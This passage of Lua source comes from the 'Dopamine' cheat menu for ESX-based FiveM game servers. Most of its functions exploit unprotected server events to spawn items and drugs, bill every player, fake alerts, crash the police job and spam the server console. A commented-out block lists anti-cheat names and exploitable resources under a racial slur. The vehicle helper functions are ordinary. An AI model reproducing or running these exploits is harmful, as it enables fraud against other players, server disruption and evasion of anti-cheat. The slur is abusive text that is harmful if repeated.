  5629. Dopamine.dTCE(true, true, 'esx_drugs:stopHarvestOpium')
  5630. Dopamine.dTCE(true, true, 'esx_drugs:stopTransformOpium')
  5631. Dopamine.dTCE(true, true, 'esx_drugs:stopHarvestMeth')
  5632. Dopamine.dTCE(true, true, 'esx_drugs:stopTransformMeth')
  5633. Dopamine.dTCE(true, true, 'esx_drugs:stopHarvestCoke')
  5634. Dopamine.dTCE(true, true, 'esx_drugs:stopTransformCoke')
  5635. end
  5636. if Dopamine.functions.doesResourceExist('esx_illegal_drugs') then
  5637. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopHarvestWeed')
  5638. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopTransformWeed')
  5639. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopHarvestOpium')
  5640. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopTransformOpium')
  5641. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopHarvestMeth')
  5642. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopTransformMeth')
  5643. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopHarvestCoke')
  5644. Dopamine.dTCE(true, true, 'esx_illegal_drugs:stopTransformCoke')
  5645. end
  5646. if Dopamine.functions.doesResourceExist('esx_mechanicjob') then
  5647. Dopamine.dTCE(true, true, 'esx_mechanicjob:stopHarvest')
  5648. Dopamine.dTCE(true, true, 'esx_mechanicjob:stopHarvest2')
  5649. Dopamine.dTCE(true, true, 'esx_mechanicjob:stopHarvest3')
  5650. Dopamine.dTCE(true, true, 'esx_mechanicjob:stopCraft')
  5651. Dopamine.dTCE(true, true, 'esx_mechanicjob:stopCraft2')
  5652. Dopamine.dTCE(true, true, 'esx_mechanicjob:stopCraft3')
  5653. end
  5654. if Dopamine.functions.doesResourceExist('esx_mecanojob') then
  5655. Dopamine.dTCE(true, true, 'esx_mecanojob:stopHarvest')
  5656. Dopamine.dTCE(true, true, 'esx_mecanojob:stopHarvest2')
  5657. Dopamine.dTCE(true, true, 'esx_mecanojob:stopHarvest3')
  5658. Dopamine.dTCE(true, true, 'esx_mecanojob:stopCraft')
  5659. Dopamine.dTCE(true, true, 'esx_mecanojob:stopCraft2')
  5660. Dopamine.dTCE(true, true, 'esx_mecanojob:stopCraft3')
  5661. end
  5662. end
  5663.  
  5664. Dopamine.functions.exploits.esx_outlawalert = function()
  5665. if Dopamine.functions.doesResourceExist('esx_outlawalert') then
  5666. Dopamine.dTCE(true, true, 'esx_outlawalert:gunshotInProgress', { x = 1337, y = 1337, z = 1337 }, 'd0pamine', 0)
  5667. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5668. end
  5669.  
  5670. Dopamine.functions.exploits.esx_billing = function()
  5671. if Dopamine.functions.doesResourceExist('esx_billing') then
  5672. local billName = Dopamine.trashFunctions.keyboardInput('Enter bill name', 'd0pamine', 32)
  5673. local billAmount = Dopamine.trashFunctions.keyboardInput('Enter bill amount', '', 16)
  5674. for i=0, #Dopamine.natives.getActivePlayers() do
  5675. if Dopamine.functions.game.isNullOrEmpty(billName) then billName = 'd0pamine > all' end
  5676. if Dopamine.functions.game.isNullOrEmpty(billAmount) then billAmount = 5391 end
  5677. Dopamine.dTCE(true, true, 'esx_billing:sendBill', GetPlayerServerId(i), 'd0pamine', billName, billAmount)
  5678. end
  5679. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5680. end
  5681.  
  5682. Dopamine.functions.exploits.esx_policejob_crash = function()
  5683. if Dopamine.functions.doesResourceExist('esx_policejob') then
  5684. pCreateThread(function()
  5685. for i = 1, 50, 1 do
  5686. Dopamine.dTCE(true, true, 'esx_policejob:spawned')
  5687. end
  5688. end)
  5689. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5690. end
  5691.  
  5692. Dopamine.functions.exploits.esx_spawncustomitem = function()
  5693. local itemName = Dopamine.trashFunctions.keyboardInput('Enter Item Name', '', 15)
  5694. if Dopamine.functions.doesResourceExist('esx_jobs') then
  5695. if not Dopamine.functions.game.isNullOrEmpty(itemName) then
  5696. local ItemData = {
  5697. { name = itemName, db_name = itemName, time = 100, max = 100, add = 1, remove = 10, drop = 100, requires = 'nothing', requires_name = 'Nothing' }
  5698. }
  5699. pCreateThread(function()
  5700. Dopamine.dTCE(false, true, 'esx_jobs:startWork', ItemData)
  5701. pWait(100)
  5702. Dopamine.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
  5703. end)
  5704. end
  5705. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5706.  
  5707. local jobsToExploit = {
  5708. 'esx_mechanicjob',
  5709. 'esx_mecanojob',
  5710. 'esx_taxijob',
  5711. 'esx_vehicleshop',
  5712. 'esx_gangjob',
  5713. 'esx_mafiajob',
  5714. 'esx_carteljob',
  5715. 'esx_bikerjob'
  5716. }
  5717. if not Dopamine.functions.game.isNullOrEmpty(itemName) then
  5718. for i=1, #jobsToExploit do
  5719. if Dopamine.functions.doesResourceExist(jobsToExploit[i]) then
  5720. pCreateThread(function()
  5721. Dopamine.dTCE(true, true, jobsToExploit[i]..':getStockItem', itemName, 100)
  5722. Dopamine.dTCE(true, true, jobsToExploit[i]..':putStockItems', itemName, -100)
  5723. end)
  5724. end
  5725. end
  5726. end
  5727. end
  5728.  
  5729. Dopamine.functions.exploits.esx_spawncustomitems = function()
  5730. if Dopamine.functions.doesResourceExist('esx_jobs') then
  5731. local item = Dopamine.menuTables.customExploitableItems.Item[selectedESXCustomItemSpawn]
  5732. local JobDB = Dopamine.menuTables.customExploitableItems.ItemDatabase[item]
  5733. if type(JobDB) == 'table' then
  5734. pCreateThread(function()
  5735. for key, value in pairs(JobDB) do
  5736. local ItemRequired = Dopamine.menuTables.customExploitableItems.ItemRequires[key]
  5737. local ItemData = {
  5738. { name = key, db_name = value, time = 100, max = 1337, add = 1, remove = 10, drop = 100, requires = ItemRequired and JobDB[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
  5739. }
  5740. pCreateThread(function()
  5741. Dopamine.dTCE(false, true, 'esx_jobs:startWork', ItemData)
  5742. pWait(1000)
  5743. Dopamine.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
  5744. end)
  5745. pWait(3000)
  5746. end
  5747. end)
  5748. else
  5749. local ItemRequired = Dopamine.menuTables.customExploitableItems.ItemRequires[item];
  5750. local ItemData = {
  5751. { name = item, db_name = JobDB, time = 100, max = 100, add = 1, remove = 10, drop = 100, requires = ItemRequired and Dopamine.menuTables.customExploitableItems.ItemDatabase[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
  5752. }
  5753. pCreateThread(function()
  5754. Dopamine.dTCE(false, true, 'esx_jobs:startWork', ItemData)
  5755. pWait(100)
  5756. Dopamine.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
  5757. end)
  5758. end
  5759. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5760. end
  5761.  
  5762. Dopamine.functions.exploits.esx_jobitems = function()
  5763. if Dopamine.functions.doesResourceExist('esx_jobs') then
  5764. local item = Dopamine.menuTables.exploitableJobsTable.Item[selectedESXItemSpawn]
  5765. local JobDB = Dopamine.menuTables.exploitableJobsTable.ItemDatabase[item]
  5766. if type(JobDB) == 'table' then
  5767. pCreateThread(function()
  5768. for key, value in pairs(JobDB) do
  5769. local ItemRequired = Dopamine.menuTables.exploitableJobsTable.ItemRequires[key]
  5770. local ItemData = {
  5771. { name = key, db_name = value, time = 100, max = 1337, add = 10, remove = 10, drop = 100, requires = ItemRequired and JobDB[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
  5772. }
  5773. pCreateThread(function()
  5774. Dopamine.dTCE(false, true, 'esx_jobs:startWork', ItemData)
  5775. pWait(1000)
  5776. Dopamine.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
  5777. end)
  5778. pWait(3000)
  5779. end
  5780. end)
  5781. else
  5782. local ItemRequired = Dopamine.menuTables.exploitableJobsTable.ItemRequires[item]
  5783. local ItemData = {
  5784. { name = item, db_name = JobDB, time = 100, max = 1337, add = 10, remove = 10, drop = 100, requires = ItemRequired and Dopamine.menuTables.exploitableJobsTable.ItemDatabase[ItemRequired] or 'nothing', requires_name = ItemRequired and ItemRequired or 'Nothing' }
  5785. }
  5786. pCreateThread(function()
  5787. Dopamine.dTCE(false, true, 'esx_jobs:startWork', ItemData)
  5788. pWait(100)
  5789. Dopamine.dTCE(false, true, 'esx_jobs:stopWork', ItemData)
  5790. end)
  5791. end
  5792. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5793. end
  5794.  
  5795. Dopamine.functions.exploits.esx_harvestitems = function()
  5796. if selectedESXHarvestItem == 1 then
  5797. if Dopamine.functions.doesResourceExist('esx_drugs') then
  5798. Dopamine.dTCE(true, true, 'esx_drugs:startHarvestWeed')
  5799. Dopamine.dTCE(true, true, 'esx_drugs:startTransformWeed')
  5800. Dopamine.dTCE(true, true, 'esx_drugs:pickedUpCannabis')
  5801. Dopamine.dTCE(true, true, 'esx_drugs:processCannabis')
  5802. elseif Dopamine.functions.doesResourceExist('esx_illegal_drugs') then
  5803. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startHarvestWeed')
  5804. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startTransformWeed')
  5805. end
  5806. elseif selectedESXHarvestItem == 2 then
  5807. if Dopamine.functions.doesResourceExist('esx_drugs') then
  5808. Dopamine.dTCE(true, true, 'esx_drugs:startHarvestOpium')
  5809. Dopamine.dTCE(true, true, 'esx_drugs:startTransformOpium')
  5810. elseif Dopamine.functions.doesResourceExist('esx_illegal_drugs') then
  5811. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startHarvestOpium')
  5812. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startTransformOpium')
  5813. end
  5814. elseif selectedESXHarvestItem == 3 then
  5815. if Dopamine.functions.doesResourceExist('esx_drugs') then
  5816. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startHarvestMeth')
  5817. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startTransformMeth')
  5818. elseif Dopamine.functions.doesResourceExist('esx_illegal_drugs') then
  5819. Dopamine.dTCE(true, true, 'esx_drugs:startHarvestMeth')
  5820. Dopamine.dTCE(true, true, 'esx_drugs:startTransformMeth')
  5821. end
  5822. elseif selectedESXHarvestItem == 4 then
  5823. if Dopamine.functions.doesResourceExist('esx_drugs') then
  5824. Dopamine.dTCE(true, true, 'esx_drugs:startHarvestCoke')
  5825. Dopamine.dTCE(true, true, 'esx_drugs:startTransformCoke')
  5826. elseif Dopamine.functions.doesResourceExist('esx_illegal_drugs') then
  5827. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startHarvestCoke')
  5828. Dopamine.dTCE(true, true, 'esx_illegal_drugs:startTransformCoke')
  5829. elseif Dopamine.functions.doesResourceExist('erratic_coke') then
  5830. Dopamine.dTCE(true, true, 'coke:GiveItem')
  5831. Dopamine.dTCE(true, true, 'coke:GiveItem')
  5832. Dopamine.dTCE(true, true, 'coke:processed')
  5833. end
  5834. end
  5835. if selectedESXHarvestItem == 5 then
  5836. if Dopamine.functions.doesResourceExist('esx_mechanicjob') then
  5837. Dopamine.dTCE(true, true, 'esx_mechanicjob:startHarvest')
  5838. Dopamine.dTCE(true, true, 'esx_mechanicjob:startCraft')
  5839. elseif Dopamine.functions.doesResourceExist('esx_mecanojob') then
  5840. Dopamine.dTCE(true, true, 'esx_mecanojob:startHarvest')
  5841. Dopamine.dTCE(true, true, 'esx_mecanojob:startCraft')
  5842. end
  5843. elseif selectedESXHarvestItem == 6 then
  5844. if Dopamine.functions.doesResourceExist('esx_mechanicjob') then
  5845. Dopamine.dTCE(true, true, 'esx_mechanicjob:startHarvest2')
  5846. Dopamine.dTCE(true, true, 'esx_mechanicjob:startCraft2')
  5847. elseif Dopamine.functions.doesResourceExist('esx_mecanojob') then
  5848. Dopamine.dTCE(true, true, 'esx_mecanojob:startHarvest2')
  5849. Dopamine.dTCE(true, true, 'esx_mecanojob:startCraft2')
  5850. end
  5851. elseif selectedESXHarvestItem == 7 then
  5852. if Dopamine.functions.doesResourceExist('esx_mechanicjob') then
  5853. Dopamine.dTCE(true, true, 'esx_mechanicjob:startHarvest3')
  5854. Dopamine.dTCE(true, true, 'esx_mechanicjob:startCraft3')
  5855. elseif Dopamine.functions.doesResourceExist('esx_mecanojob') then
  5856. Dopamine.dTCE(true, true, 'esx_mecanojob:startHarvest3')
  5857. Dopamine.dTCE(true, true, 'esx_mecanojob:startCraft3')
  5858. end
  5859. end
  5860. end
  5861.  
  5862. Dopamine.functions.exploits.esx_spam_server_console = function()
  5863. if Dopamine.datastore.ESX ~= nil then
  5864. for i = 4, 9 do
  5865. Dopamine.datastore.ESX.TriggerServerCallback('^'..i..'d'..'opamine'..math.random(5000, 10000), function(players)
  5866. end)
  5867. end
  5868. else
  5869. Dopamine.pushNotification('ESX was not found', 5000)
  5870. end
  5871. end
  5872.  
  5873. --[[
  5874. Game functions(text, math, etc).
  5875. ]]
  5876.  
  5877. Dopamine.functions.game = {}
  5878.  
  5879. Dopamine.functions.game.isNullOrEmpty = function(str)
  5880. return str == nil or str == ''
  5881. end
  5882.  
  5883. Dopamine.functions.game.subtitle = function(message, duration, drawImmediately)
  5884. if duration == nil then
  5885. duration = 2500
  5886. end
  5887. if drawImmediately == nil then
  5888. drawImmediately = true
  5889. end
  5890. ClearPrints()
  5891. SetTextEntry_2('STRING')
  5892. for i = 1, message:len(), 99 do
  5893. Dopamine.natives.addTextComponentSubstringPlayerName(string.sub(message, i, i + 99))
  5894. end
  5895. DrawSubtitleTimed(duration, drawImmediately)
  5896. end
  5897.  
  5898. Dopamine.functions.game.getVehicles = function()
  5899. local vehicles = {}
  5900.  
  5901. for vehicle in Dopamine.trashFunctions.enumVehicles() do
  5902. table.insert(vehicles, vehicle)
  5903. end
  5904.  
  5905. return vehicles
  5906. end
  5907.  
  5908. Dopamine.functions.game.getVehiclesInArea = function(coords, area)
  5909. local vehicles = Dopamine.functions.game.getVehicles()
  5910. local vehiclesInArea = {}
  5911.  
  5912. for i = 1, #vehicles, 1 do
  5913. local vehicleCoords = GetEntityCoords(vehicles[i])
  5914. local distance = GetDistanceBetweenCoords(vehicleCoords, coords.x, coords.y, coords.z, true)
  5915.  
  5916. if distance <= area then
  5917. table.insert(vehiclesInArea, vehicles[i])
  5918. end
  5919. end
  5920.  
  5921. return vehiclesInArea
  5922. end
  5923.  
  5924. Dopamine.functions.game.driftSmoke = function(base, sub, car, dens, size)
  5925. all_part = {}
  5926.  
  5927. for i = 0,dens do
  5928. UseParticleFxAssetNextCall(base)
  5929. W1 = StartParticleFxLoopedOnEntityBone(sub, car, 0.05, 0, 0, 0, 0, 0, GetEntityBoneIndexByName(car, 'wheel_lr'), size, 0, 0, 0)
  5930.  
  5931. UseParticleFxAssetNextCall(base)
  5932. W2 = StartParticleFxLoopedOnEntityBone(sub, car, 0.05, 0, 0, 0, 0, 0, GetEntityBoneIndexByName(car, 'wheel_rr'), size, 0, 0, 0)
  5933.  
  5934. table.insert(all_part, 1, W1)
  5935. table.insert(all_part, 2, W2)
  5936. end
  5937.  
  5938. pWait(1000)
  5939.  
  5940. for _,W1 in pairs(all_part) do
  5941. StopParticleFxLooped(W1, true)
  5942. end
  5943. end
  5944.  
  5945. Dopamine.functions.game.vehicleAngle = function(veh)
  5946. if not veh then return false end
  5947. local vx,vy,vz = table.unpack(GetEntityVelocity(veh))
  5948. local modV = math.sqrt(vx*vx + vy*vy)
  5949.  
  5950. local rx,ry,rz = table.unpack(GetEntityRotation(veh,0))
  5951. local sn,cs = -math.sin(math.rad(rz)), math.cos(math.rad(rz))
  5952.  
  5953. if GetEntitySpeed(veh)* 3.6 < 5 or GetVehicleCurrentGear(veh) == 0 then return 0,modV end
  5954.  
  5955. local cosX = (sn*vx + cs*vy)/modV
  5956. if cosX > 0.966 or cosX < 0 then return 0,modV end
  5957. return math.deg(math.acos(cosX))*0.5, modV
  5958. end
  5959.  
  5960. Dopamine.functions.initializeUpgradesTab = function()
  5961. local currentVehicle = Dopamine.datastore.pLocalPlayer.cVehicle
  5962. if currentVehicle then
  5963. for i, actual_i in pairs(Dopamine.menuTables.vehiclePerformanceTable) do
  5964. if Dopamine.menuButton(actual_i.name,'vehicleLosSantosCustomsPerformance'..actual_i.name) then
  5965. end
  5966. end
  5967. --[[SetVehicleModKit(currentVehicle, 0)
  5968. local modType = 15
  5969. local modName = 'Suspension Level '
  5970. local modCount = GetNumVehicleMods(currentVehicle, modType) - 1
  5971. for i=0, modCount, 1 do
  5972. if Dopamine.button(modName..i, 'Native') then
  5973. SetVehicleMod(currentVehicle, modType, i)
  5974. end
  5975. end]]
  5976. end
  5977. end
  5978.  
  5979. Dopamine.functions.game.getVehicleProperties = function(vehicle)
  5980. if DoesEntityExist(vehicle) then
  5981. local colorPrimary, colorSecondary = GetVehicleColours(vehicle)
  5982. local pearlescentColor, wheelColor = GetVehicleExtraColours(vehicle)
  5983. local extras = {}
  5984.  
  5985. for id=0, 12 do
  5986. if Dopamine.natives.doesExtraExist(vehicle, id) then
  5987. local state = IsVehicleExtraTurnedOn(vehicle, id) == 1
  5988. extras[tostring(id)] = state
  5989. end
  5990. end
  5991.  
  5992. return {
  5993. model = GetEntityModel(vehicle),
  5994.  
  5995. plate = Dopamine.functions.Math.Trim(GetVehicleNumberPlateText(vehicle)),
  5996. plateIndex = GetVehicleNumberPlateTextIndex(vehicle),
  5997.  
  5998. bodyHealth = Dopamine.functions.Math.Round(GetVehicleBodyHealth(vehicle), 1),
  5999. engineHealth = Dopamine.functions.Math.Round(GetVehicleEngineHealth(vehicle), 1),
  6000.  
  6001. fuelLevel = Dopamine.functions.Math.Round(GetVehicleFuelLevel(vehicle), 1),
  6002. dirtLevel = Dopamine.functions.Math.Round(GetVehicleDirtLevel(vehicle), 1),
  6003. color1 = colorPrimary,
  6004. color2 = colorSecondary,
  6005.  
  6006. pearlescentColor = pearlescentColor,
  6007. wheelColor = wheelColor,
  6008.  
  6009. wheels = GetVehicleWheelType(vehicle),
  6010. windowTint = GetVehicleWindowTint(vehicle),
  6011. xenonColor = Dopamine.natives.getVehicleXenonLightsColour(vehicle),
  6012.  
  6013. neonEnabled = {
  6014. IsVehicleNeonLightEnabled(vehicle, 0),
  6015. IsVehicleNeonLightEnabled(vehicle, 1),
  6016. IsVehicleNeonLightEnabled(vehicle, 2),
  6017. IsVehicleNeonLightEnabled(vehicle, 3)
  6018. },
  6019.  
  6020. neonColor = table.pack(GetVehicleNeonLightsColour(vehicle)),
  6021. extras = extras,
  6022. tyreSmokeColor = table.pack(GetVehicleTyreSmokeColor(vehicle)),
  6023.  
  6024. modSpoilers = GetVehicleMod(vehicle, 0),
  6025. modFrontBumper = GetVehicleMod(vehicle, 1),
  6026. modRearBumper = GetVehicleMod(vehicle, 2),
  6027. modSideSkirt = GetVehicleMod(vehicle, 3),
  6028. modExhaust = GetVehicleMod(vehicle, 4),
  6029. modFrame = GetVehicleMod(vehicle, 5),
  6030. modGrille = GetVehicleMod(vehicle, 6),
  6031. modHood = GetVehicleMod(vehicle, 7),
  6032. modFender = GetVehicleMod(vehicle, 8),
  6033. modRightFender = GetVehicleMod(vehicle, 9),
  6034. modRoof = GetVehicleMod(vehicle, 10),
  6035.  
  6036. modEngine = GetVehicleMod(vehicle, 11),
  6037. modBrakes = GetVehicleMod(vehicle, 12),
  6038. modTransmission = GetVehicleMod(vehicle, 13),
  6039. modHorns = GetVehicleMod(vehicle, 14),
  6040. modSuspension = GetVehicleMod(vehicle, 15),
  6041. modArmor = GetVehicleMod(vehicle, 16),
  6042.  
  6043. modTurbo = IsToggleModOn(vehicle, 18),
  6044. modSmokeEnabled = IsToggleModOn(vehicle, 20),
  6045. modXenon = IsToggleModOn(vehicle, 22),
  6046.  
  6047. modFrontWheels = GetVehicleMod(vehicle, 23),
  6048. modBackWheels = GetVehicleMod(vehicle, 24),
  6049.  
  6050. modPlateHolder = GetVehicleMod(vehicle, 25),
  6051. modVanityPlate = GetVehicleMod(vehicle, 26),
  6052. modTrimA = GetVehicleMod(vehicle, 27),
  6053. modOrnaments = GetVehicleMod(vehicle, 28),
  6054. modDashboard = GetVehicleMod(vehicle, 29),
  6055. modDial = GetVehicleMod(vehicle, 30),
  6056. modDoorSpeaker = GetVehicleMod(vehicle, 31),
  6057. modSeats = GetVehicleMod(vehicle, 32),
  6058. modSteeringWheel = GetVehicleMod(vehicle, 33),
  6059. modShifterLeavers = GetVehicleMod(vehicle, 34),
  6060. modAPlate = GetVehicleMod(vehicle, 35),
  6061. modSpeakers = GetVehicleMod(vehicle, 36),
  6062. modTrunk = GetVehicleMod(vehicle, 37),
  6063. modHydrolic = GetVehicleMod(vehicle, 38),
  6064. modEngineBlock = GetVehicleMod(vehicle, 39),
  6065. modAirFilter = GetVehicleMod(vehicle, 40),
  6066. modStruts = GetVehicleMod(vehicle, 41),
  6067. modArchCover = GetVehicleMod(vehicle, 42),
  6068. modAerials = GetVehicleMod(vehicle, 43),
  6069. modTrimB = GetVehicleMod(vehicle, 44),
  6070. modTank = GetVehicleMod(vehicle, 45),
  6071. modWindows = GetVehicleMod(vehicle, 46),
  6072. modLivery = GetVehicleLivery(vehicle),
  6073.  
  6074. suspensionRaise = GetVehicleHandlingFloat(vehicle, 'CHandlingData', 'fSuspensionRaise'),
  6075. }
  6076. else
  6077. return
  6078. end
  6079. end
  6080.  
  6081. Dopamine.functions.game.setVehicleProperties = function(vehicle, props)
  6082. if DoesEntityExist(vehicle) then
  6083. local colorPrimary, colorSecondary = GetVehicleColours(vehicle)
  6084. local pearlescentColor, wheelColor = GetVehicleExtraColours(vehicle)
  6085. SetVehicleModKit(vehicle, 0)
  6086.  
  6087. if props.plate then SetVehicleNumberPlateText(vehicle, props.plate) end
  6088. if props.plateIndex then SetVehicleNumberPlateTextIndex(vehicle, props.plateIndex) end
  6089. if props.bodyHealth then SetVehicleBodyHealth(vehicle, props.bodyHealth + 0.0) end
  6090. if props.engineHealth then SetVehicleEngineHealth(vehicle, props.engineHealth + 0.0) end
  6091. if props.fuelLevel then SetVehicleFuelLevel(vehicle, props.fuelLevel + 0.0) end
  6092. if props.dirtLevel then SetVehicleDirtLevel(vehicle, props.dirtLevel + 0.0) end
  6093. if props.color1 then SetVehicleColours(vehicle, props.color1, colorSecondary) end
  6094. if props.color2 then SetVehicleColours(vehicle, props.color1 or colorPrimary, props.color2) end
  6095. if props.pearlescentColor then SetVehicleExtraColours(vehicle, props.pearlescentColor, wheelColor) end
  6096. if props.wheelColor then SetVehicleExtraColours(vehicle, props.pearlescentColor or pearlescentColor, props.wheelColor) end
  6097. if props.wheels then SetVehicleWheelType(vehicle, props.wheels) end
  6098. if props.windowTint then SetVehicleWindowTint(vehicle, props.windowTint) end
  6099.  
  6100. if props.neonEnabled then
  6101. SetVehicleNeonLightEnabled(vehicle, 0, props.neonEnabled[1])
  6102. SetVehicleNeonLightEnabled(vehicle, 1, props.neonEnabled[2])
  6103. SetVehicleNeonLightEnabled(vehicle, 2, props.neonEnabled[3])
  6104. SetVehicleNeonLightEnabled(vehicle, 3, props.neonEnabled[4])
  6105. end
  6106.  
  6107. if props.extras then
  6108. for id,enabled in pairs(props.extras) do
  6109. if enabled then
  6110. SetVehicleExtra(vehicle, tonumber(id), 0)
  6111. else
  6112. SetVehicleExtra(vehicle, tonumber(id), 1)
  6113. end
  6114. end
  6115. end
  6116.  
  6117. if props.neonColor then SetVehicleNeonLightsColour(vehicle, props.neonColor[1], props.neonColor[2], props.neonColor[3]) end
  6118. if props.xenonColor then Dopamine.natives.setVehicleXenonLightsColour(vehicle, props.xenonColor) end
  6119. if props.modSmokeEnabled then ToggleVehicleMod(vehicle, 20, true) end
  6120. if props.tyreSmokeColor then SetVehicleTyreSmokeColor(vehicle, props.tyreSmokeColor[1], props.tyreSmokeColor[2], props.tyreSmokeColor[3]) end
  6121. if props.modSpoilers then SetVehicleMod(vehicle, 0, props.modSpoilers, false) end
  6122. if props.modFrontBumper then SetVehicleMod(vehicle, 1, props.modFrontBumper, false) end
  6123. if props.modRearBumper then SetVehicleMod(vehicle, 2, props.modRearBumper, false) end
  6124. if props.modSideSkirt then SetVehicleMod(vehicle, 3, props.modSideSkirt, false) end
  6125. if props.modExhaust then SetVehicleMod(vehicle, 4, props.modExhaust, false) end
  6126. if props.modFrame then SetVehicleMod(vehicle, 5, props.modFrame, false) end
  6127. if props.modGrille then SetVehicleMod(vehicle, 6, props.modGrille, false) end
  6128. if props.modHood then SetVehicleMod(vehicle, 7, props.modHood, false) end
  6129. if props.modFender then SetVehicleMod(vehicle, 8, props.modFender, false) end
  6130. if props.modRightFender then SetVehicleMod(vehicle, 9, props.modRightFender, false) end
  6131. if props.modRoof then SetVehicleMod(vehicle, 10, props.modRoof, false) end
  6132. if props.modEngine then SetVehicleMod(vehicle, 11, props.modEngine, false) end
  6133. if props.modBrakes then SetVehicleMod(vehicle, 12, props.modBrakes, false) end
  6134. if props.modTransmission then SetVehicleMod(vehicle, 13, props.modTransmission, false) end
  6135. if props.modHorns then SetVehicleMod(vehicle, 14, props.modHorns, false) end
  6136. if props.modSuspension then SetVehicleMod(vehicle, 15, props.modSuspension, false) end
  6137. if props.modArmor then SetVehicleMod(vehicle, 16, props.modArmor, false) end
  6138. if props.modTurbo then ToggleVehicleMod(vehicle, 18, props.modTurbo) end
  6139. if props.modXenon then ToggleVehicleMod(vehicle, 22, props.modXenon) end
  6140. if props.modFrontWheels then SetVehicleMod(vehicle, 23, props.modFrontWheels, false) end
  6141. if props.modBackWheels then SetVehicleMod(vehicle, 24, props.modBackWheels, false) end
  6142. if props.modPlateHolder then SetVehicleMod(vehicle, 25, props.modPlateHolder, false) end
  6143. if props.modVanityPlate then SetVehicleMod(vehicle, 26, props.modVanityPlate, false) end
  6144. if props.modTrimA then SetVehicleMod(vehicle, 27, props.modTrimA, false) end
  6145. if props.modOrnaments then SetVehicleMod(vehicle, 28, props.modOrnaments, false) end
  6146. if props.modDashboard then SetVehicleMod(vehicle, 29, props.modDashboard, false) end
  6147. if props.modDial then SetVehicleMod(vehicle, 30, props.modDial, false) end
  6148. if props.modDoorSpeaker then SetVehicleMod(vehicle, 31, props.modDoorSpeaker, false) end
  6149. if props.modSeats then SetVehicleMod(vehicle, 32, props.modSeats, false) end
  6150. if props.modSteeringWheel then SetVehicleMod(vehicle, 33, props.modSteeringWheel, false) end
  6151. if props.modShifterLeavers then SetVehicleMod(vehicle, 34, props.modShifterLeavers, false) end
  6152. if props.modAPlate then SetVehicleMod(vehicle, 35, props.modAPlate, false) end
  6153. if props.modSpeakers then SetVehicleMod(vehicle, 36, props.modSpeakers, false) end
  6154. if props.modTrunk then SetVehicleMod(vehicle, 37, props.modTrunk, false) end
  6155. if props.modHydrolic then SetVehicleMod(vehicle, 38, props.modHydrolic, false) end
  6156. if props.modEngineBlock then SetVehicleMod(vehicle, 39, props.modEngineBlock, false) end
  6157. if props.modAirFilter then SetVehicleMod(vehicle, 40, props.modAirFilter, false) end
  6158. if props.modStruts then SetVehicleMod(vehicle, 41, props.modStruts, false) end
  6159. if props.modArchCover then SetVehicleMod(vehicle, 42, props.modArchCover, false) end
  6160. if props.modAerials then SetVehicleMod(vehicle, 43, props.modAerials, false) end
  6161. if props.modTrimB then SetVehicleMod(vehicle, 44, props.modTrimB, false) end
  6162. if props.modTank then SetVehicleMod(vehicle, 45, props.modTank, false) end
  6163. if props.modWindows then SetVehicleMod(vehicle, 46, props.modWindows, false) end
  6164.  
  6165. if props.modLivery then
  6166. SetVehicleMod(vehicle, 48, props.modLivery, false)
  6167. SetVehicleLivery(vehicle, props.modLivery)
  6168. end
  6169.  
  6170. if props.suspensionRaise then
  6171. SetVehicleHandlingFloat(vehicle, 'CHandlingData', 'fSuspensionRaise', props.suspensionRaise)
  6172. end
  6173. end
  6174. end
  6175.  
  6176. --[[niggerian trash exploit finder
  6177.  
  6178. do
  6179. local totalExploitablesTable = {}
  6180. local veriScaryAntiCheats = {
  6181. 'anticheat', 'esx_anticheat', 'alphaveta', 'dfwm', 'fzac',
  6182. 'anticheese', 'skinchanger2', 'NSAC', 'avac', 'nertigel_ac'
  6183. }
  6184. local exploitablesDrugs = {
  6185. 'esx_drugs', 'esx_illegal_drugs'
  6186. }
  6187. local exploitablesMoneyMaker = {
  6188. 'esx_vangelico_robbery','esx_vangelico','esx_burglary','99kr-burglary','esx_minerjob',
  6189. 'esx_mining','esx_miner','esx_fishing','james_fishing','loffe-fishing',
  6190. 'esx_mugging','loffe_robbery','esx_prisonwork','loffe_prisonwork','esx_robnpc',
  6191. 'MF_DrugSales','MF_drugsales','ESX_DrugSales','lenzh_chopshop','esx_chopshop',
  6192. 'ESX_Deliveries','ESX_Cargodelivery','napadtransport','Napad_transport_z_gotowka','esx_truck_robbery',
  6193. 'napadnakase','Napad_na_kase','utk_oh','utk_ornateheist','aurora_principalbank',
  6194. 'esx_hunting','esx_qalle_hunting','esx-qalle-hunting','esx_taxijob','esx_taxi',
  6195. 'esx_carthiefjob','esx_carthief','esx_rangerjob','esx_ranger','esx_godirtyjob',
  6196. 'esx_godirty','esx_banksecurityjob','esx_banksecurity','esx_pilotjob','esx_pilot',
  6197. 'esx_pizzajob','esx_pizza','esx_gopostaljob','esx_gopostal','esx_garbagejob',
  6198. 'esx_garbage', 'esx_truckerjob', 'esx_trucker'
  6199. }
  6200.  
  6201. local totalAnticheats = 0
  6202. local totalExploitableMoneyMaker = 0
  6203. local totalExploitableDrugs = 0
  6204. for i=1, #exploitablesMoneyMaker do
